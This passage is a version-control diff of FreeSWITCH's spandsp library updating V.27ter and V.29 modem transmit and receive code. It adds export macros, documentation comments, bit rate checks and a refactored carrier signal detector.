+++ freeswitch/branches/seven/libs/spandsp/src/v27ter_tx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,28 +22,29 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v27ter_tx.c,v 1.66 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v27ter_tx.c,v 1.76 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
@@ -54,6 +55,9 @@
 
 #include "spandsp/v27ter_tx.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v27ter_tx.h"
+
 #if defined(SPANDSP_USE_FIXED_POINT)
 #include "v27ter_tx_4800_fixed_rrc.h"
 #include "v27ter_tx_2400_fixed_rrc.h"
@@ -62,17 +66,25 @@
 #include "v27ter_tx_2400_floating_rrc.h"
 #endif
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ            1800.0f
 
 /* Segments of the training sequence */
 /* V.27ter defines a long and a short sequence. FAX doesn't use the
    short sequence, so it is not implemented here. */
+/*! The start of training segment 1, in symbols */
 #define V27TER_TRAINING_SEG_1           0
+/*! The start of training segment 2, in symbols */
 #define V27TER_TRAINING_SEG_2           (V27TER_TRAINING_SEG_1 + 320)
+/*! The start of training segment 3, in symbols */
 #define V27TER_TRAINING_SEG_3           (V27TER_TRAINING_SEG_2 + 32)
+/*! The start of training segment 4, in symbols */
 #define V27TER_TRAINING_SEG_4           (V27TER_TRAINING_SEG_3 + 50)
+/*! The start of training segment 5, in symbols */
 #define V27TER_TRAINING_SEG_5           (V27TER_TRAINING_SEG_4 + 1074)
+/*! The end of the training, in symbols */
 #define V27TER_TRAINING_END             (V27TER_TRAINING_SEG_5 + 8)
+/*! The end of the shutdown sequence, in symbols */
 #define V27TER_TRAINING_SHUTDOWN_END    (V27TER_TRAINING_END + 32)
 
 static int fake_get_bit(void *user_data)
@@ -148,6 +160,7 @@
         { 0000,   -1414},       /* 270deg */
         { 1000,   -1000}        /* 315deg */
     };
+    static const complexi16_t zero = {0, 0};
 #else
     static const complexf_t constellation[8] =
     {
@@ -160,6 +173,7 @@
         { 0.0f,   -1.414f},     /* 270deg */
         { 1.0f,   -1.0f}        /* 315deg */
     };
+    static const complexf_t zero = {0.0f, 0.0f};
 #endif
     int bits;
 
@@ -178,11 +192,7 @@
                 if (s->training_step <= V27TER_TRAINING_SEG_3)
                 {
                     /* Segment 2: Silence */
-#if defined(SPANDSP_USE_FIXED_POINT)
-                    return complex_seti16(0, 0);
-#else
-                    return complex_setf(0.0f, 0.0f);
-#endif
+                    return zero;
                 }
                 /* Segment 3: Regular reversals... */
                 s->constellation_state = (s->constellation_state + 4) & 7;
@@ -234,7 +244,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_tx(v27ter_tx_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) v27ter_tx(v27ter_tx_state_t *s, int16_t amp[], int len)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     complexi_t x;
@@ -291,7 +301,7 @@
             /* Now create and modulate the carrier */
             z = dds_complexf(&(s->carrier_phase), s->carrier_phase_rate);
             /* Don't bother saturating. We should never clip. */
-            amp[sample] = (int16_t) lrintf((x.re*z.re - x.im*z.im)*s->gain_4800);
+            amp[sample] = (int16_t) lfastrintf((x.re*z.re - x.im*z.im)*s->gain_4800);
 #endif
         }
     }
@@ -332,7 +342,7 @@
             /* Now create and modulate the carrier */
             z = dds_complexf(&(s->carrier_phase), s->carrier_phase_rate);
             /* Don't bother saturating. We should never clip. */
-            amp[sample] = (int16_t) lrintf((x.re*z.re - x.im*z.im)*s->gain_2400);
+            amp[sample] = (int16_t) lfastrintf((x.re*z.re - x.im*z.im)*s->gain_2400);
 #endif
         }
     }
@@ -340,7 +350,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_tx_power(v27ter_tx_state_t *s, float power)
+SPAN_DECLARE(void) v27ter_tx_power(v27ter_tx_state_t *s, float power)
 {
     float l;
 
@@ -355,7 +365,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_tx_set_get_bit(v27ter_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(void) v27ter_tx_set_get_bit(v27ter_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
 {
     if (s->get_bit == s->current_get_bit)
         s->current_get_bit = get_bit;
@@ -364,15 +374,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_tx_set_modem_status_handler(v27ter_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v27ter_tx_set_modem_status_handler(v27ter_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_tx_restart(v27ter_tx_state_t *s, int bit_rate, int tep)
+SPAN_DECLARE(logging_state_t *) v27ter_tx_get_logging_state(v27ter_tx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v27ter_tx_restart(v27ter_tx_state_t *s, int bit_rate, int tep)
+{
     if (bit_rate != 4800  &&  bit_rate != 2400)
         return -1;
     s->bit_rate = bit_rate;
@@ -394,8 +410,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v27ter_tx_state_t *v27ter_tx_init(v27ter_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(v27ter_tx_state_t *) v27ter_tx_init(v27ter_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 4800:
+    case 2400:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v27ter_tx_state_t *) malloc(sizeof(*s))) == NULL)
@@ -413,8 +437,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_tx_free(v27ter_tx_state_t *s)
+SPAN_DECLARE(int) v27ter_tx_release(v27ter_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v27ter_tx_free(v27ter_tx_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/v29rx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v29rx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v29rx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+#define IAXMODEM_STUFF
 /*
  * SpanDSP - a series of DSP components for telephony
  *
@@ -22,26 +23,26 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v29rx.c,v 1.144 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v29rx.c,v 1.167 2009/07/08 15:11:09 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
@@ -58,6 +59,9 @@
 
 #include "spandsp/v29rx.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v29rx.h"
+
 #include "v29tx_constellation_maps.h"
 #if defined(SPANDSP_USE_FIXED_POINT)
 #include "v29rx_fixed_rrc.h"
@@ -65,8 +69,11 @@
 #include "v29rx_floating_rrc.h"
 #endif
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ            1700.0f
+/*! The nominal baud or symbol rate */
 #define BAUD_RATE                       2400
+/*! The adaption rate coefficient for the equalizer */
 #define EQUALIZER_DELTA                 0.21f
 
 #if defined(SPANDSP_USE_FIXED_POINT)
@@ -75,10 +82,14 @@
 #endif
 
 /* Segments of the training sequence */
+/*! The length of training segment 2, in symbols */
 #define V29_TRAINING_SEG_2_LEN          128
+/*! The length of training segment 3, in symbols */
 #define V29_TRAINING_SEG_3_LEN          384
+/*! The length of training segment 4, in symbols */
 #define V29_TRAINING_SEG_4_LEN          48
 
+/*! The length of the equalizer buffer */
 #define V29_EQUALIZER_LEN    (V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN)
 
 enum
@@ -118,6 +129,8 @@
 };
 
 /* Coefficients for the band edge symbol timing synchroniser (alpha = 0.99) */
+/* low_edge = 2.0f*M_PI*(CARRIER_NOMINAL_FREQ - BAUD_RATE/2.0f)/SAMPLE_RATE; */
+/* high_edge = 2.0f*M_PI*(CARRIER_NOMINAL_FREQ + BAUD_RATE/2.0f)/SAMPLE_RATE; */
 #if defined(SPANDSP_USE_FIXED_POINT)
 #define SYNC_LOW_BAND_EDGE_COEFF_0      ((int)(FP_FACTOR* 1.829281f))   /* 2*alpha*cos(low_edge) */
 #define SYNC_LOW_BAND_EDGE_COEFF_1      ((int)(FP_FACTOR*-0.980100f))   /* -alpha^2 */
@@ -136,25 +149,25 @@
 #define SYNC_CROSS_CORR_COEFF_C         -0.378857f                      /* -alpha*sin(low_edge) */
 #endif
 
-float v29_rx_carrier_frequency(v29_rx_state_t *s)
+SPAN_DECLARE(float) v29_rx_carrier_frequency(v29_rx_state_t *s)
 {
     return dds_frequencyf(s->carrier_phase_rate);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v29_rx_symbol_timing_correction(v29_rx_state_t *s)
+SPAN_DECLARE(float) v29_rx_symbol_timing_correction(v29_rx_state_t *s)
 {
     return (float) s->total_baud_timing_correction/((float) RX_PULSESHAPER_COEFF_SETS*10.0f/3.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v29_rx_signal_power(v29_rx_state_t *s)
+SPAN_DECLARE(float) v29_rx_signal_power(v29_rx_state_t *s)
 {
-    return power_meter_current_dbm0(&s->power);
+    return power_meter_current_dbm0(&s->power) + 3.98f;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_rx_signal_cutoff(v29_rx_state_t *s, float cutoff)
+SPAN_DECLARE(void) v29_rx_signal_cutoff(v29_rx_state_t *s, float cutoff)
 {
     /* The 0.4 factor allows for the gain of the DC blocker */
     s->carrier_on_power = (int32_t) (power_meter_level_dbm0(cutoff + 2.5f)*0.4f);
@@ -172,9 +185,9 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(SPANDSP_USE_FIXED_POINT)
-int v29_rx_equalizer_state(v29_rx_state_t *s, complexi16_t **coeffs)
+SPAN_DECLARE(int) v29_rx_equalizer_state(v29_rx_state_t *s, complexi16_t **coeffs)
 #else
-int v29_rx_equalizer_state(v29_rx_state_t *s, complexf_t **coeffs)
+SPAN_DECLARE(int) v29_rx_equalizer_state(v29_rx_state_t *s, complexf_t **coeffs)
 #endif
 {
     *coeffs = s->eq_coeff;
@@ -265,11 +278,7 @@
 
 #if defined(SPANDSP_USE_FIXED_POINT)
 static void tune_equalizer(v29_rx_state_t *s, const complexi16_t *z, const complexi16_t *target)
-#else
-static void tune_equalizer(v29_rx_state_t *s, const complexf_t *z, const complexf_t *target)
-#endif
 {
-#if defined(SPANDSP_USE_FIXED_POINT)
     complexi16_t err;
 
     /* Find the x and y mismatch from the exact constellation position. */
@@ -278,7 +287,10 @@
     err.re = ((int32_t) err.re*(int32_t) s->eq_delta) >> 15;
     err.im = ((int32_t) err.im*(int32_t) s->eq_delta) >> 15;
     cvec_circular_lmsi16(s->eq_buf, s->eq_coeff, V29_EQUALIZER_LEN, s->eq_step, &err);
+}
 #else
+static void tune_equalizer(v29_rx_state_t *s, const complexf_t *z, const complexf_t *target)
+{
     complexf_t err;
 
     /* Find the x and y mismatch from the exact constellation position. */
@@ -286,8 +298,8 @@
     err.re *= s->eq_delta;
     err.im *= s->eq_delta;
     cvec_circular_lmsf(s->eq_buf, s->eq_coeff, V29_EQUALIZER_LEN, s->eq_step, &err);
+}
 #endif
-}
 /*- End of function --------------------------------------------------------*/
 
 static int scrambled_training_bit(v29_rx_state_t *s)
@@ -489,7 +501,7 @@
     s->symbol_sync_dc_filter[0] = v;
     /* A little integration will now filter away much of the noise */
     s->baud_phase -= p;
-    if (abs(s->baud_phase) > 100*FP_FACTOR)
+    if (abs(s->baud_phase) > 30*FP_FACTOR)
     {
         if (s->baud_phase > 0)
             i = (s->baud_phase > 1000*FP_FACTOR)  ?  5  :  1;
@@ -511,7 +523,11 @@
     s->symbol_sync_dc_filter[0] = v;
     /* A little integration will now filter away much of the noise */
     s->baud_phase -= p;
+#if 0
     if (fabsf(s->baud_phase) > 100.0f)
+#else
+    if (fabsf(s->baud_phase) > 30.0f)
+#endif
     {
         if (s->baud_phase > 0.0f)
             i = (s->baud_phase > 1000.0f)  ?  5  :  1;
@@ -667,6 +683,8 @@
             s->carrier_phase += angle;
             /* We have just seen the first bit of the scrambled sequence, so skip it. */
             bit = scrambled_training_bit(s);
+            s->constellation_state = cdcd_pos[s->training_cd + bit];
+            target = &v29_9600_constellation[s->constellation_state];
             s->training_count = 1;
             s->training_stage = TRAINING_STAGE_TRAIN_ON_CDCD;
             report_status_change(s, SIG_STATUS_TRAINING_IN_PROGRESS);
@@ -731,7 +749,7 @@
         if (++s->training_count >= V29_TRAINING_SEG_3_LEN)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Constellation mismatch %f\n", s->training_error);
-            if (s->training_error < 100.0f)
+            if (s->training_error < 48.0f*2.0f)
             {
                 s->training_count = 0;
                 s->training_error = 0.0f;
@@ -772,10 +790,10 @@
 #endif
         if (++s->training_count >= V29_TRAINING_SEG_4_LEN)
         {
-            if (s->training_error < 50.0f)
+            if (s->training_error < 48.0f)
             {
                 /* We are up and running */
-                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded (constellation mismatch %f)\n", s->training_error);
+                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded at %dbps (constellation mismatch %f)\n", s->bit_rate, s->training_error);
                 report_status_change(s, SIG_STATUS_TRAINING_SUCCEEDED);
                 /* Apply some lag to the carrier off condition, to ensure the last few bits get pushed through
                    the processing. */
@@ -822,12 +840,82 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_rx(v29_rx_state_t *s, const int16_t amp[], int len)
+static __inline__ int signal_detect(v29_rx_state_t *s, int16_t amp)
 {
+    int16_t diff;
+    int16_t x;
+    int32_t power;
+
+    /* There should be no DC in the signal, but sometimes there is.
+       We need to measure the power with the DC blocked, but not using
+       a slow to respond DC blocker. Use the most elementary HPF. */
+    x = amp >> 1;
+    /* There could be overflow here, but it isn't a problem in practice */
+    diff = x - s->last_sample;
+    s->last_sample = x;
+    power = power_meter_update(&(s->power), diff);
+#if defined(IAXMODEM_STUFF)
+    /* Quick power drop fudge */
+    diff = abs(diff);
+    if (10*diff < s->high_sample)
+    {
+        if (++s->low_samples > 120)
+        {
+            power_meter_init(&(s->power), 4);
+            s->high_sample = 0;
+            s->low_samples = 0;
+        }
+    }
+    else
+    { 
+        s->low_samples = 0;
+        if (diff > s->high_sample)
+            s->high_sample = diff;
+    }
+#endif
+    if (s->signal_present > 0)
+    {
+        /* Look for power below turn-off threshold to turn the carrier off */
+#if defined(IAXMODEM_STUFF)
+        if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
+#else
+        if (power < s->carrier_off_power)
+#endif
+        {
+            if (--s->signal_present <= 0)
+            {
+                /* Count down a short delay, to ensure we push the last
+                   few bits through the filters before stopping. */
+                v29_rx_restart(s, s->bit_rate, FALSE);
+                report_status_change(s, SIG_STATUS_CARRIER_DOWN);
+                return 0;
+            }
+#if defined(IAXMODEM_STUFF)
+            /* Carrier has dropped, but the put_bit is
+               pending the signal_present delay. */
+            s->carrier_drop_pending = TRUE;
+#endif
+        }
+    }
+    else
+    {
+        /* Look for power exceeding turn-on threshold to turn the carrier on */
+        if (power < s->carrier_on_power)
+            return 0;
+        s->signal_present = 1;
+#if defined(IAXMODEM_STUFF)
+        s->carrier_drop_pending = FALSE;
+#endif
+        report_status_change(s, SIG_STATUS_CARRIER_UP);
+    }
+    return power;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) v29_rx(v29_rx_state_t *s, const int16_t amp[], int len)
+{
     int i;
     int step;
-    int16_t x;
-    int32_t diff;
 #if defined(SPANDSP_USE_FIXED_POINT)
     complexi16_t z;
     complexi16_t zz;
@@ -847,67 +935,8 @@
         if (++s->rrc_filter_step >= V29_RX_FILTER_STEPS)
             s->rrc_filter_step = 0;
 
-        /* There should be no DC in the signal, but sometimes there is.
-           We need to measure the power with the DC blocked, but not using
-           a slow to respond DC blocker. Use the most elementary HPF. */
-        x = amp[i] >> 1;
-        diff = x - s->last_sample;
-        power = power_meter_update(&(s->power), diff);
-#if defined(IAXMODEM_STUFF)
-        /* Quick power drop fudge */
-        diff = abs(diff);
-        if (10*diff < s->high_sample)
-        {
-            if (++s->low_samples > 120)
-            {
-                power_meter_init(&(s->power), 4);
-                s->high_sample = 0;
-                s->low_samples = 0;
-            }
-        }
-        else
-        { 
-            s->low_samples = 0;
-            if (diff > s->high_sample)
-               s->high_sample = diff;
-        }
-#endif
-        s->last_sample = x;
-        if (s->signal_present)
-        {
-            /* Look for power below turn-off threshold to turn the carrier off */
-#if defined(IAXMODEM_STUFF)
-            if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
-#else
-            if (power < s->carrier_off_power)
-#endif
-            {
-                if (--s->signal_present <= 0)
-                {
-                    /* Count down a short delay, to ensure we push the last
-                       few bits through the filters before stopping. */
-                    v29_rx_restart(s, s->bit_rate, FALSE);
-                    report_status_change(s, SIG_STATUS_CARRIER_DOWN);
-                    continue;
-                }
-#if defined(IAXMODEM_STUFF)
-                /* Carrier has dropped, but the put_bit is
-                   pending the signal_present delay. */
-                s->carrier_drop_pending = TRUE;
-#endif
-            }
-        }
-        else
-        {
-            /* Look for power exceeding turn-on threshold to turn the carrier on */
-            if (power < s->carrier_on_power)
-                continue;
-            s->signal_present = 1;
-#if defined(IAXMODEM_STUFF)
-            s->carrier_drop_pending = FALSE;
-#endif
-            report_status_change(s, SIG_STATUS_CARRIER_UP);
-        }
+        if ((power = signal_detect(s, amp[i])) == 0)
+            continue;
         if (s->training_stage == TRAINING_STAGE_PARKED)
             continue;
         /* Only spend effort processing this data if the modem is not
@@ -991,22 +1020,56 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_rx_set_put_bit(v29_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(int) v29_rx_fillin(v29_rx_state_t *s, int len)
 {
+    int i;
+
+    /* We want to sustain the current state (i.e carrier on<->carrier off), and
+       try to sustain the carrier phase. We should probably push the filters, as well */
+    span_log(&s->logging, SPAN_LOG_FLOW, "Fill-in %d samples\n", len);
+    if (s->signal_present <= 0)
+        return 0;
+    if (s->training_stage == TRAINING_STAGE_PARKED)
+        return 0;
+    for (i = 0;  i < len;  i++)
+    {
+#if defined(SPANDSP_USE_FIXED_POINT)
+        dds_advance(&s->carrier_phase, s->carrier_phase_rate);
+#else
+        dds_advancef(&s->carrier_phase, s->carrier_phase_rate);
+#endif
+        /* Advance the symbol phase the appropriate amount */
+        s->eq_put_step -= RX_PULSESHAPER_COEFF_SETS;
+        if (s->eq_put_step <= 0)
+            s->eq_put_step += RX_PULSESHAPER_COEFF_SETS*10/(3*2);
+        /* TODO: Should we rotate any buffers */
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) v29_rx_set_put_bit(v29_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+{
     s->put_bit = put_bit;
     s->put_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_rx_set_modem_status_handler(v29_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v29_rx_set_modem_status_handler(v29_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_rx_restart(v29_rx_state_t *s, int bit_rate, int old_train)
+SPAN_DECLARE(logging_state_t *) v29_rx_get_logging_state(v29_rx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v29_rx_restart(v29_rx_state_t *s, int bit_rate, int old_train)
+{
     switch (bit_rate)
     {
     case 9600:
@@ -1102,14 +1165,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v29_rx_state_t *v29_rx_init(v29_rx_state_t *s, int rate, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(v29_rx_state_t *) v29_rx_init(v29_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 9600:
+    case 7200:
+    case 4800:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v29_rx_state_t *) malloc(sizeof(*s))) == NULL)
             return NULL;
     }
-
     memset(s, 0, sizeof(*s));
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "V.29 RX");
@@ -1122,19 +1193,25 @@
     /* The thresholds should be on at -26dBm0 and off at -31dBm0 */
     v29_rx_signal_cutoff(s, -28.5f);
 
-    v29_rx_restart(s, rate, FALSE);
+    v29_rx_restart(s, bit_rate, FALSE);
     return s;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_rx_free(v29_rx_state_t *s)
+SPAN_DECLARE(int) v29_rx_release(v29_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v29_rx_free(v29_rx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_rx_set_qam_report_handler(v29_rx_state_t *s, qam_report_handler_t handler, void *user_data)
+SPAN_DECLARE(void) v29_rx_set_qam_report_handler(v29_rx_state_t *s, qam_report_handler_t handler, void *user_data)
 {
     s->qam_report = handler;
     s->qam_user_data = user_data;

Modified: freeswitch/branches/seven/libs/spandsp/src/v29tx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v29tx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v29tx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,28 +22,29 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v29tx.c,v 1.79 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v29tx.c,v 1.89 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
@@ -54,6 +55,9 @@
 
 #include "spandsp/v29tx.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v29tx.h"
+
 #include "v29tx_constellation_maps.h"
 #if defined(SPANDSP_USE_FIXED_POINT)
 #include "v29tx_fixed_rrc.h"
@@ -61,15 +65,23 @@
 #include "v29tx_floating_rrc.h"
 #endif
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ        1700.0f
 
 /* Segments of the training sequence */
+/*! The start of the optional TEP, that may preceed the actual training, in symbols */
 #define V29_TRAINING_SEG_TEP        0
+/*! The start of training segment 1, in symbols */
 #define V29_TRAINING_SEG_1          (V29_TRAINING_SEG_TEP + 480)
+/*! The start of training segment 2, in symbols */
 #define V29_TRAINING_SEG_2          (V29_TRAINING_SEG_1 + 48)
+/*! The start of training segment 3, in symbols */
 #define V29_TRAINING_SEG_3          (V29_TRAINING_SEG_2 + 128)
+/*! The start of training segment 4, in symbols */
 #define V29_TRAINING_SEG_4          (V29_TRAINING_SEG_3 + 384)
+/*! The end of the training, in symbols */
 #define V29_TRAINING_END            (V29_TRAINING_SEG_4 + 48)
+/*! The end of the shutdown sequence, in symbols */
 #define V29_TRAINING_SHUTDOWN_END   (V29_TRAINING_END + 32)
 
 static int fake_get_bit(void *user_data)
@@ -113,6 +125,11 @@
     {
         0, 2, 6, 4
     };
+#if defined(SPANDSP_USE_FIXED_POINT)
+    static const complexi16_t zero = {0, 0};
+#else
+    static const complexf_t zero = {0.0f, 0.0f};
+#endif
     int bits;
     int amp;
     int bit;
@@ -132,11 +149,7 @@
                 if (s->training_step <= V29_TRAINING_SEG_2)
                 {
                     /* Segment 1: silence */
-#if defined(SPANDSP_USE_FIXED_POINT)
-                    return complex_seti16(0, 0);
-#else
-                    return complex_setf(0.0f, 0.0f);
-#endif
+                    return zero;
                 }
                 /* Segment 2: ABAB... */
                 return v29_abab_constellation[(s->training_step & 1) + s->training_offset];
@@ -189,7 +202,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_tx(v29_tx_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) v29_tx(v29_tx_state_t *s, int16_t amp[], int len)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     complexi_t x;
@@ -241,7 +254,7 @@
         /* Now create and modulate the carrier */
         z = dds_complexf(&(s->carrier_phase), s->carrier_phase_rate);
         /* Don't bother saturating. We should never clip. */
-        amp[sample] = (int16_t) lrintf((x.re*z.re - x.im*z.im)*s->gain);
+        amp[sample] = (int16_t) lfastrintf((x.re*z.re - x.im*z.im)*s->gain);
 #endif
     }
     return sample;
@@ -284,7 +297,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_tx_power(v29_tx_state_t *s, float power)
+SPAN_DECLARE(void) v29_tx_power(v29_tx_state_t *s, float power)
 {
     /* The constellation does not maintain constant average power as we change bit rates.
        We need to scale the gain we get here by a bit rate specific scaling factor each
@@ -294,7 +307,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_tx_set_get_bit(v29_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(void) v29_tx_set_get_bit(v29_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
 {
     if (s->get_bit == s->current_get_bit)
         s->current_get_bit = get_bit;
@@ -303,15 +316,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v29_tx_set_modem_status_handler(v29_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v29_tx_set_modem_status_handler(v29_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_tx_restart(v29_tx_state_t *s, int bit_rate, int tep)
+SPAN_DECLARE(logging_state_t *) v29_tx_get_logging_state(v29_tx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v29_tx_restart(v29_tx_state_t *s, int bit_rate, int tep)
+{
     span_log(&s->logging, SPAN_LOG_FLOW, "Restarting V.29\n");
     s->bit_rate = bit_rate;
     set_working_gain(s);
@@ -347,8 +366,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v29_tx_state_t *v29_tx_init(v29_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(v29_tx_state_t *) v29_tx_init(v29_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 9600:
+    case 7200:
+    case 4800:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v29_tx_state_t *) malloc(sizeof(*s))) == NULL)
@@ -366,8 +394,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v29_tx_free(v29_tx_state_t *s)
+SPAN_DECLARE(int) v29_tx_release(v29_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v29_tx_free(v29_tx_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/v42.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v42.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v42.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
